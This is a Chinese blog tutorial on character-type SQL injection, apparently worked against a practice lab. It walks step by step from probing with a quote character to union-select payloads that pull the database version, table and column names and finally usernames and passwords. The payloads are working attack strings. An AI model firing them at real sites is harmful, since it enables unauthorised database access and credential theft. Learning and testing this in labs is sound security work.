渗透测试 | SQL注入字符注入详解

SQL注入详解

SQL注入的概念

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

字符注入

后台语句模板
SELECT first_name,last_name FROM users WHERE user_id = ‘$id’;
正常访问
SELECT first_name,last_name FROM users WHERE user_id = ‘1’;
构造SQL注入语句
SELECT firs_name,last_name FROM users WHERE user_id = ‘1’union select1,2#’;

  1. 判断是否有注入点?
  • 先输入1,页面正常

在这里插入图片描述

  • 在输入1’,页面不正常
    在这里插入图片描述
  • 判断可能有注入点
  1. 判断注入点类型?
  • 1 and 1=1,正常返回

在这里插入图片描述

  • 1 and 1=2,正常返回
    在这里插入图片描述

  • 1’ and 1=1#,正常返回

在这里插入图片描述

  • 1’ and 1=2#,无返回

在这里插入图片描述

  • 结合上面四组测试,判断此注入点为字符型注入
  1. 判断其数据库有几列
1' order by n#(n为测试数字)
  • 1’ order by 3#,页面报错,说明列数小于3
    在这里插入图片描述

  • 1’ order by 2#,页面正常,说明数据库有2列

在这里插入图片描述

  1. 查询当前数据库名,以及版本号
  • 1’ union select version(),database()#
    在这里插入图片描述
  1. 获取数据库中的表名
  • 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

  1. 获取表中的字段名,这里以users表为例
  • 1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
    在这里插入图片描述
  1. 获得字段中的数据
  • 1’ union select user,password from users#
    在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/yu_19980401/article/details/109756081